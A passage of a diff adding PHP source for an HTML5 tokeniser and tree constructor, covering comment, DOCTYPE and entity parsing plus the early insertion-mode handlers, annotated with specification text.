+ /* U+002D HYPHEN-MINUS (-) */
+ if($char === '-') {
+ /* Switch to the comment end state */
+ $this->state = 'commentEnd';
+
+ /* EOF */
+ } elseif($this->char === $this->EOF) {
+ /* Parse error. Emit the comment token. Reconsume the EOF character
+ in the data state. */
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ /* Anything else */
+ } else {
+ /* Append a U+002D HYPHEN-MINUS (-) character and the input
+ character to the comment token's data. Switch to the comment state. */
+ $this->token['data'] .= '-'.$char;
+ $this->state = 'comment';
+ }
+ }
+
+ private function commentEndState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if($char === '>') {
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif($char === '-') {
+ $this->token['data'] .= '-';
+
+ } elseif($this->char === $this->EOF) {
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ $this->token['data'] .= '--'.$char;
+ $this->state = 'comment';
+ }
+ }
+
+ private function doctypeState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ $this->state = 'beforeDoctypeName';
+
+ } else {
+ $this->char--;
+ $this->state = 'beforeDoctypeName';
+ }
+ }
+
+ private function beforeDoctypeNameState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ // Stay in the before DOCTYPE name state.
+
+ } elseif(preg_match('/^[a-z]$/', $char)) {
+ $this->token = array(
+ 'name' => strtoupper($char),
+ 'type' => self::DOCTYPE,
+ 'error' => true
+ );
+
+ $this->state = 'doctypeName';
+
+ } elseif($char === '>') {
+ $this->emitToken(array(
+ 'name' => null,
+ 'type' => self::DOCTYPE,
+ 'error' => true
+ ));
+
+ $this->state = 'data';
+
+ } elseif($this->char === $this->EOF) {
+ $this->emitToken(array(
+ 'name' => null,
+ 'type' => self::DOCTYPE,
+ 'error' => true
+ ));
+
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ $this->token = array(
+ 'name' => $char,
+ 'type' => self::DOCTYPE,
+ 'error' => true
+ );
+
+ $this->state = 'doctypeName';
+ }
+ }
+
+ private function doctypeNameState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ $this->state = 'AfterDoctypeName';
+
+ } elseif($char === '>') {
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif(preg_match('/^[a-z]$/', $char)) {
+ $this->token['name'] .= strtoupper($char);
+
+ } elseif($this->char === $this->EOF) {
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ $this->token['name'] .= $char;
+ }
+
+ $this->token['error'] = ($this->token['name'] === 'HTML')
+ ? false
+ : true;
+ }
+
+ private function afterDoctypeNameState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) {
+ // Stay in the DOCTYPE name state.
+
+ } elseif($char === '>') {
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif($this->char === $this->EOF) {
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ $this->token['error'] = true;
+ $this->state = 'bogusDoctype';
+ }
+ }
+
+ private function bogusDoctypeState()
+ {
+ /* Consume the next input character: */
+ $this->char++;
+ $char = $this->char();
+
+ if($char === '>') {
+ $this->emitToken($this->token);
+ $this->state = 'data';
+
+ } elseif($this->char === $this->EOF) {
+ $this->emitToken($this->token);
+ $this->char--;
+ $this->state = 'data';
+
+ } else {
+ // Stay in the bogus DOCTYPE state.
+ }
+ }
+
+ private function entity()
+ {
+ $start = $this->char;
+
+ // This section defines how to consume an entity. This definition is
+ // used when parsing entities in text and in attributes.
+
+ // The behaviour depends on the identity of the next character (the
+ // one immediately after the U+0026 AMPERSAND character):
+
+ switch($this->character($this->char + 1)) {
+ // U+0023 NUMBER SIGN (#)
+ case '#':
+
+ // The behaviour further depends on the character after the
+ // U+0023 NUMBER SIGN:
+ switch($this->character($this->char + 1)) {
+ // U+0078 LATIN SMALL LETTER X
+ // U+0058 LATIN CAPITAL LETTER X
+ case 'x':
+ case 'X':
+ // Follow the steps below, but using the range of
+ // characters U+0030 DIGIT ZERO through to U+0039 DIGIT
+ // NINE, U+0061 LATIN SMALL LETTER A through to U+0066
+ // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER
+ // A, through to U+0046 LATIN CAPITAL LETTER F (in other
+ // words, 0-9, A-F, a-f).
+ $char = 1;
+ $char_class = '0-9A-Fa-f';
+ break;
+
+ // Anything else
+ default:
+ // Follow the steps below, but using the range of
+ // characters U+0030 DIGIT ZERO through to U+0039 DIGIT
+ // NINE (i.e. just 0-9).
+ $char = 0;
+ $char_class = '0-9';
+ break;
+ }
+
+ // Consume as many characters as match the range of characters
+ // given above.
+ $this->char++;
+ $e_name = $this->characters($char_class, $this->char + $char + 1);
+ $entity = $this->character($start, $this->char);
+ $cond = strlen($e_name) > 0;
+
+ // The rest of the parsing happens bellow.
+ break;
+
+ // Anything else
+ default:
+ // Consume the maximum number of characters possible, with the
+ // consumed characters case-sensitively matching one of the
+ // identifiers in the first column of the entities table.
+ $e_name = $this->characters('0-9A-Za-z;', $this->char + 1);
+ $len = strlen($e_name);
+
+ for($c = 1; $c <= $len; $c++) {
+ $id = substr($e_name, 0, $c);
+ $this->char++;
+
+ if(in_array($id, $this->entities)) {
+ $entity = $id;
+ break;
+ }
+ }
+
+ $cond = isset($entity);
+ // The rest of the parsing happens bellow.
+ break;
+ }
+
+ if(!$cond) {
+ // If no match can be made, then this is a parse error. No
+ // characters are consumed, and nothing is returned.
+ $this->char = $start;
+ return false;
+ }
+
+ // Return a character token for the character corresponding to the
+ // entity name (as given by the second column of the entities table).
+ return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8');
+ }
+
+ private function emitToken($token)
+ {
+ $emit = $this->tree->emitToken($token);
+
+ if(is_int($emit)) {
+ $this->content_model = $emit;
+
+ } elseif($token['type'] === self::ENDTAG) {
+ $this->content_model = self::PCDATA;
+ }
+ }
+
+ private function EOF()
+ {
+ $this->state = null;
+ $this->tree->emitToken(array(
+ 'type' => self::EOF
+ ));
+ }
+}
+
+class HTML5TreeConstructer
+{
+ public $stack = array();
+
+ private $phase;
+ private $mode;
+ private $dom;
+ private $foster_parent = null;
+ private $a_formatting = array();
+
+ private $head_pointer = null;
+ private $form_pointer = null;
+
+ private $scoping = array('button','caption','html','marquee','object','table','td','th');
+ private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u');
+ private $special = array('address','area','base','basefont','bgsound',
+ 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl',
+ 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5',
+ 'h6','head','hr','iframe','image','img','input','isindex','li','link',
+ 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup',
+ 'option','p','param','plaintext','pre','script','select','spacer','style',
+ 'tbody','textarea','tfoot','thead','title','tr','ul','wbr');
+
+ // The different phases.
+ const INIT_PHASE = 0;
+ const ROOT_PHASE = 1;
+ const MAIN_PHASE = 2;
+ const END_PHASE = 3;
+
+ // The different insertion modes for the main phase.
+ const BEFOR_HEAD = 0;
+ const IN_HEAD = 1;
+ const AFTER_HEAD = 2;
+ const IN_BODY = 3;
+ const IN_TABLE = 4;
+ const IN_CAPTION = 5;
+ const IN_CGROUP = 6;
+ const IN_TBODY = 7;
+ const IN_ROW = 8;
+ const IN_CELL = 9;
+ const IN_SELECT = 10;
+ const AFTER_BODY = 11;
+ const IN_FRAME = 12;
+ const AFTR_FRAME = 13;
+
+ // The different types of elements.
+ const SPECIAL = 0;
+ const SCOPING = 1;
+ const FORMATTING = 2;
+ const PHRASING = 3;
+
+ const MARKER = 0;
+
+ public function __construct()
+ {
+ $this->phase = self::INIT_PHASE;
+ $this->mode = self::BEFOR_HEAD;
+ $this->dom = new DOMDocument;
+
+ $this->dom->encoding = 'UTF-8';
+ $this->dom->preserveWhiteSpace = true;
+ $this->dom->substituteEntities = true;
+ $this->dom->strictErrorChecking = false;
+ }
+
+ // Process tag tokens
+ public function emitToken($token)
+ {
+ switch($this->phase) {
+ case self::INIT_PHASE: return $this->initPhase($token); break;
+ case self::ROOT_PHASE: return $this->rootElementPhase($token); break;
+ case self::MAIN_PHASE: return $this->mainPhase($token); break;
+ case self::END_PHASE : return $this->trailingEndPhase($token); break;
+ }
+ }
+
+ private function initPhase($token)
+ {
+ /* Initially, the tree construction stage must handle each token
+ emitted from the tokenisation stage as follows: */
+
+ /* A DOCTYPE token that is marked as being in error
+ A comment token
+ A start tag token
+ An end tag token
+ A character token that is not one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE
+ An end-of-file token */
+ if((isset($token['error']) && $token['error']) ||
+ $token['type'] === HTML5::COMMENT ||
+ $token['type'] === HTML5::STARTTAG ||
+ $token['type'] === HTML5::ENDTAG ||
+ $token['type'] === HTML5::EOF ||
+ ($token['type'] === HTML5::CHARACTR && isset($token['data']) &&
+ !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) {
+ /* This specification does not define how to handle this case. In
+ particular, user agents may ignore the entirety of this specification
+ altogether for such documents, and instead invoke special parse modes
+ with a greater emphasis on backwards compatibility. */
+
+ $this->phase = self::ROOT_PHASE;
+ return $this->rootElementPhase($token);
+
+ /* A DOCTYPE token marked as being correct */
+ } elseif(isset($token['error']) && !$token['error']) {
+ /* Append a DocumentType node to the Document node, with the name
+ attribute set to the name given in the DOCTYPE token (which will be
+ "HTML"), and the other attributes specific to DocumentType objects
+ set to null, empty lists, or the empty string as appropriate. */
+ $doctype = new DOMDocumentType(null, null, 'HTML');
+
+ /* Then, switch to the root element phase of the tree construction
+ stage. */
+ $this->phase = self::ROOT_PHASE;
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/',
+ $token['data'])) {
+ /* Append that character to the Document node. */
+ $text = $this->dom->createTextNode($token['data']);
+ $this->dom->appendChild($text);
+ }
+ }
+
+ private function rootElementPhase($token)
+ {
+ /* After the initial phase, as each token is emitted from the tokenisation
+ stage, it must be processed as described in this section. */
+
+ /* A DOCTYPE token */
+ if($token['type'] === HTML5::DOCTYPE) {
+ // Parse error. Ignore the token.
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the Document object with the data
+ attribute set to the data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ $this->dom->appendChild($comment);
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ } elseif($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Append that character to the Document node. */
+ $text = $this->dom->createTextNode($token['data']);
+ $this->dom->appendChild($text);
+
+ /* A character token that is not one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED
+ (FF), or U+0020 SPACE
+ A start tag token
+ An end tag token
+ An end-of-file token */
+ } elseif(($token['type'] === HTML5::CHARACTR &&
+ !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) ||
+ $token['type'] === HTML5::STARTTAG ||
+ $token['type'] === HTML5::ENDTAG ||
+ $token['type'] === HTML5::EOF) {
+ /* Create an HTMLElement node with the tag name html, in the HTML
+ namespace. Append it to the Document object. Switch to the main
+ phase and reprocess the current token. */
+ $html = $this->dom->createElement('html');
+ $this->dom->appendChild($html);
+ $this->stack[] = $html;
+
+ $this->phase = self::MAIN_PHASE;
+ return $this->mainPhase($token);
+ }
+ }
+
+ private function mainPhase($token)
+ {
+ /* Tokens in the main phase must be handled as follows: */
+
+ /* A DOCTYPE token */
+ if($token['type'] === HTML5::DOCTYPE) {
+ // Parse error. Ignore the token.
+
+ /* A start tag token with the tag name "html" */
+ } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') {
+ /* If this start tag token was not the first start tag token, then
+ it is a parse error. */
+
+ /* For each attribute on the token, check to see if the attribute
+ is already present on the top element of the stack of open elements.
+ If it is not, add the attribute and its corresponding value to that
+ element. */
+ foreach($token['attr'] as $attr) {
+ if(!$this->stack[0]->hasAttribute($attr['name'])) {
+ $this->stack[0]->setAttribute($attr['name'], $attr['value']);
+ }
+ }
+
+ /* An end-of-file token */
+ } elseif($token['type'] === HTML5::EOF) {
+ /* Generate implied end tags. */
+ $this->generateImpliedEndTags();
+
+ /* Anything else. */
+ } else {
+ /* Depends on the insertion mode: */
+ switch($this->mode) {
+ case self::BEFOR_HEAD: return $this->beforeHead($token); break;
+ case self::IN_HEAD: return $this->inHead($token); break;
+ case self::AFTER_HEAD: return $this->afterHead($token); break;
+ case self::IN_BODY: return $this->inBody($token); break;
+ case self::IN_TABLE: return $this->inTable($token); break;
+ case self::IN_CAPTION: return $this->inCaption($token); break;
+ case self::IN_CGROUP: return $this->inColumnGroup($token); break;
+ case self::IN_TBODY: return $this->inTableBody($token); break;
+ case self::IN_ROW: return $this->inRow($token); break;
+ case self::IN_CELL: return $this->inCell($token); break;
+ case self::IN_SELECT: return $this->inSelect($token); break;
+ case self::AFTER_BODY: return $this->afterBody($token); break;
+ case self::IN_FRAME: return $this->inFrameset($token); break;
+ case self::AFTR_FRAME: return $this->afterFrameset($token); break;
+ case self::END_PHASE: return $this->trailingEndPhase($token); break;
+ }
+ }
+ }
+
+ private function beforeHead($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data attribute
+ set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* A start tag token with the tag name "head" */
+ } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') {
+ /* Create an element for the token, append the new element to the
+ current node and push it onto the stack of open elements. */
+ $element = $this->insertElement($token);
+
+ /* Set the head element pointer to this new element node. */
+ $this->head_pointer = $element;
+
+ /* Change the insertion mode to "in head". */
+ $this->mode = self::IN_HEAD;
+
+ /* A start tag token whose tag name is one of: "base", "link", "meta",
+ "script", "style", "title". Or an end tag with the tag name "html".
+ Or a character token that is not one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE. Or any other start tag token */
+ } elseif($token['type'] === HTML5::STARTTAG ||
+ ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') ||
+ ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/',
+ $token['data']))) {
+ /* Act as if a start tag token with the tag name "head" and no
+ attributes had been seen, then reprocess the current token. */
+ $this->beforeHead(array(
+ 'name' => 'head',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ return $this->inHead($token);
+
+ /* Any other end tag */
+ } elseif($token['type'] === HTML5::ENDTAG) {
+ /* Parse error. Ignore the token. */
+ }
+ }
+
+ private function inHead($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE.
+
+ THIS DIFFERS FROM THE SPEC: If the current node is either a title, style
+ or script element, append the character to the current node regardless
+ of its content. */
+ if(($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || (
+ $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName,
+ array('title', 'style', 'script')))) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data attribute
+ set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ } elseif($token['type'] === HTML5::ENDTAG &&
+ in_array($token['name'], array('title', 'style', 'script'))) {
+ array_pop($this->stack);
+ return HTML5::PCDATA;
+
+ /* A start tag with the tag name "title" */
+ } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') {
+ /* Create an element for the token and append the new element to the
+ node pointed to by the head element pointer, or, if that is null
+ (innerHTML case), to the current node. */
+ if($this->head_pointer !== null) {
+ $element = $this->insertElement($token, false);
+ $this->head_pointer->appendChild($element);
+
+ } else {
+ $element = $this->insertElement($token);
+ }
+
+ /* Switch the tokeniser's content model flag to the RCDATA state. */
+ return HTML5::RCDATA;
+
+ /* A start tag with the tag name "style" */
+ } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') {
+ /* Create an element for the token and append the new element to the
+ node pointed to by the head element pointer, or, if that is null
+ (innerHTML case), to the current node. */
+ if($this->head_pointer !== null) {
+ $element = $this->insertElement($token, false);
+ $this->head_pointer->appendChild($element);
+
+ } else {
+ $this->insertElement($token);
+ }
+
+ /* Switch the tokeniser's content model flag to the CDATA state. */
+ return HTML5::CDATA;
+
+ /* A start tag with the tag name "script" */
+ } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') {
+ /* Create an element for the token. */
+ $element = $this->insertElement($token, false);
+ $this->head_pointer->appendChild($element);
+
+ /* Switch the tokeniser's content model flag to the CDATA state. */
+ return HTML5::CDATA;
+
+ /* A start tag with the tag name "base", "link", or "meta" */
+ } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
+ array('base', 'link', 'meta'))) {
+ /* Create an element for the token and append the new element to the
+ node pointed to by the head element pointer, or, if that is null
+ (innerHTML case), to the current node. */
+ if($this->head_pointer !== null) {
+ $element = $this->insertElement($token, false);
+ $this->head_pointer->appendChild($element);
+ array_pop($this->stack);
+
+ } else {
+ $this->insertElement($token);
+ }
+
+ /* An end tag with the tag name "head" */
+ } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') {
+ /* If the current node is a head element, pop the current node off
+ the stack of open elements. */
+ if($this->head_pointer->isSameNode(end($this->stack))) {
+ array_pop($this->stack);
+
+ /* Otherwise, this is a parse error. */
+ } else {
+ // k
+ }
+
+ /* Change the insertion mode to "after head". */
+ $this->mode = self::AFTER_HEAD;
+
+ /* A start tag with the tag name "head" or an end tag except "html". */
+ } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') ||
+ ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) {
+ // Parse error. Ignore the token.
+
+ /* Anything else */
+ } else {
+ /* If the current node is a head element, act as if an end tag
+ token with the tag name "head" had been seen. */
+ if($this->head_pointer->isSameNode(end($this->stack))) {
+ $this->inHead(array(
+ 'name' => 'head',
+ 'type' => HTML5::ENDTAG
+ ));
+
+ /* Otherwise, change the insertion mode to "after head". */
+ } else {
+ $this->mode = self::AFTER_HEAD;
+ }
+
+ /* Then, reprocess the current token. */
+ return $this->afterHead($token);
+ }
+ }
+
+ private function afterHead($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data attribute
+ set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* A start tag token with the tag name "body" */
+ } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') {
+ /* Insert a body element for the token. */
+ $this->insertElement($token);
+
+ /* Change the insertion mode to "in body". */
+ $this->mode = self::IN_BODY;
+
+ /* A start tag token with the tag name "frameset" */
+ } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') {
+ /* Insert a frameset element for the token. */
+ $this->insertElement($token);
+
+ /* Change the insertion mode to "in frameset". */
+ $this->mode = self::IN_FRAME;
+
+ /* A start tag token whose tag name is one of: "base", "link", "meta",
+ "script", "style", "title" */
+ } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'],
+ array('base', 'link', 'meta', 'script', 'style', 'title'))) {
+ /* Parse error. Switch the insertion mode back to "in head" and
+ reprocess the token. */
+ $this->mode = self::IN_HEAD;
+ return $this->inHead($token);
+
+ /* Anything else */
+ } else {
+ /* Act as if a start tag token with the tag name "body" and no
+ attributes had been seen, and then reprocess the current token. */
+ $this->afterHead(array(
+ 'name' => 'body',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ ));
+
+ return $this->inBody($token);
+ }
+ }
+
+ private function inBody($token)
+ {
+ /* Handle the token as follows: */
+
+ switch($token['type']) {
+ /* A character token */
+ case HTML5::CHARACTR:
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Append the token's character to the current node. */
+ $this->insertText($token['data']);
+ break;
+
+ /* A comment token */
+ case HTML5::COMMENT:
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+ break;
+
+ case HTML5::STARTTAG:
+ switch($token['name']) {
+ /* A start tag token whose tag name is one of: "script",
+ "style" */
+ case 'script': case 'style':
+ /* Process the token as if the insertion mode had been "in
+ head". */
+ return $this->inHead($token);
+ break;
+
+ /* A start tag token whose tag name is one of: "base", "link",
+ "meta", "title" */
+ case 'base': case 'link': case 'meta': case 'title':
+ /* Parse error. Process the token as if the insertion mode
+ had been "in head". */
+ return $this->inHead($token);
+ break;
+
+ /* A start tag token with the tag name "body" */
+ case 'body':
+ /* Parse error. If the second element on the stack of open
+ elements is not a body element, or, if the stack of open
+ elements has only one node on it, then ignore the token.
+ (innerHTML case) */
+ if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') {
+ // Ignore
+
+ /* Otherwise, for each attribute on the token, check to see
+ if the attribute is already present on the body element (the
+ second element) on the stack of open elements. If it is not,
+ add the attribute and its corresponding value to that
+ element. */
+ } else {
+ foreach($token['attr'] as $attr) {
+ if(!$this->stack[1]->hasAttribute($attr['name'])) {
+ $this->stack[1]->setAttribute($attr['name'], $attr['value']);
+ }
+ }
+ }
+ break;
+
+ /* A start tag whose tag name is one of: "address",
+ "blockquote", "center", "dir", "div", "dl", "fieldset",
+ "listing", "menu", "ol", "p", "ul" */
+ case 'address': case 'blockquote': case 'center': case 'dir':
+ case 'div': case 'dl': case 'fieldset': case 'listing':
+ case 'menu': case 'ol': case 'p': case 'ul':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been
+ seen. */
+ if($this->elementInScope('p')) {
+ $this->emitToken(array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+ break;
+
+ /* A start tag whose tag name is "form" */
+ case 'form':
+ /* If the form element pointer is not null, ignore the
+ token with a parse error. */
+ if($this->form_pointer !== null) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* If the stack of open elements has a p element in
+ scope, then act as if an end tag with the tag name p
+ had been seen. */
+ if($this->elementInScope('p')) {
+ $this->emitToken(array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* Insert an HTML element for the token, and set the
+ form element pointer to point to the element created. */
+ $element = $this->insertElement($token);
+ $this->form_pointer = $element;
+ }
+ break;
+
+ /* A start tag whose tag name is "li", "dd" or "dt" */
+ case 'li': case 'dd': case 'dt':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been
+ seen. */
+ if($this->elementInScope('p')) {
+ $this->emitToken(array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ $stack_length = count($this->stack) - 1;
+
+ for($n = $stack_length; 0 <= $n; $n--) {
+ /* 1. Initialise node to be the current node (the
+ bottommost node of the stack). */
+ $stop = false;
+ $node = $this->stack[$n];
+ $cat = $this->getElementCategory($node->tagName);
+
+ /* 2. If node is an li, dd or dt element, then pop all
+ the nodes from the current node up to node, including
+ node, then stop this algorithm. */
+ if($token['name'] === $node->tagName || ($token['name'] !== 'li'
+ && ($node->tagName === 'dd' || $node->tagName === 'dt'))) {
+ for($x = $stack_length; $x >= $n ; $x--) {
+ array_pop($this->stack);
+ }
+
+ break;
+ }
+
+ /* 3. If node is not in the formatting category, and is
+ not in the phrasing category, and is not an address or
+ div element, then stop this algorithm. */
+ if($cat !== self::FORMATTING && $cat !== self::PHRASING &&
+ $node->tagName !== 'address' && $node->tagName !== 'div') {
+ break;
+ }
+ }
+
+ /* Finally, insert an HTML element with the same tag
+ name as the token's. */
+ $this->insertElement($token);
+ break;
+
+ /* A start tag token whose tag name is "plaintext" */
+ case 'plaintext':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been
+ seen. */
+ if($this->elementInScope('p')) {
+ $this->emitToken(array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ return HTML5::PLAINTEXT;
+ break;
+
+ /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4",
+ "h5", "h6" */
+ case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been seen. */
+ if($this->elementInScope('p')) {
+ $this->emitToken(array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* If the stack of open elements has in scope an element whose
+ tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then
+ this is a parse error; pop elements from the stack until an
+ element with one of those tag names has been popped from the
+ stack. */
+ while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) {
+ array_pop($this->stack);
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+ break;
+
+ /* A start tag whose tag name is "a" */
+ case 'a':
+ /* If the list of active formatting elements contains
+ an element whose tag name is "a" between the end of the
+ list and the last marker on the list (or the start of
+ the list if there is no marker on the list), then this
+ is a parse error; act as if an end tag with the tag name
+ "a" had been seen, then remove that element from the list
+ of active formatting elements and the stack of open
+ elements if the end tag didn't already remove it (it
+ might not have if the element is not in table scope). */
+ $leng = count($this->a_formatting);
+
+ for($n = $leng - 1; $n >= 0; $n--) {
+ if($this->a_formatting[$n] === self::MARKER) {
+ break;
+
+ } elseif($this->a_formatting[$n]->nodeName === 'a') {
+ $this->emitToken(array(
+ 'name' => 'a',
+ 'type' => HTML5::ENDTAG
+ ));
+ break;
+ }
+ }
+
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $el = $this->insertElement($token);
+
+ /* Add that element to the list of active formatting
+ elements. */
+ $this->a_formatting[] = $el;
+ break;
+
+ /* A start tag whose tag name is one of: "b", "big", "em", "font",
+ "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */
+ case 'b': case 'big': case 'em': case 'font': case 'i':
+ case 'nobr': case 's': case 'small': case 'strike':
+ case 'strong': case 'tt': case 'u':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $el = $this->insertElement($token);
+
+ /* Add that element to the list of active formatting
+ elements. */
+ $this->a_formatting[] = $el;
+ break;
+
+ /* A start tag token whose tag name is "button" */
+ case 'button':
+ /* If the stack of open elements has a button element in scope,
+ then this is a parse error; act as if an end tag with the tag
+ name "button" had been seen, then reprocess the token. (We don't
+ do that. Unnecessary.) */
+ if($this->elementInScope('button')) {
+ $this->inBody(array(
+ 'name' => 'button',
+ 'type' => HTML5::ENDTAG
+ ));
+ }
+
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Insert a marker at the end of the list of active
+ formatting elements. */
+ $this->a_formatting[] = self::MARKER;
+ break;
+
+ /* A start tag token whose tag name is one of: "marquee", "object" */
+ case 'marquee': case 'object':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Insert a marker at the end of the list of active
+ formatting elements. */
+ $this->a_formatting[] = self::MARKER;
+ break;
+
+ /* A start tag token whose tag name is "xmp" */
+ case 'xmp':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Switch the content model flag to the CDATA state. */
+ return HTML5::CDATA;
+ break;
+
+ /* A start tag whose tag name is "table" */
+ case 'table':
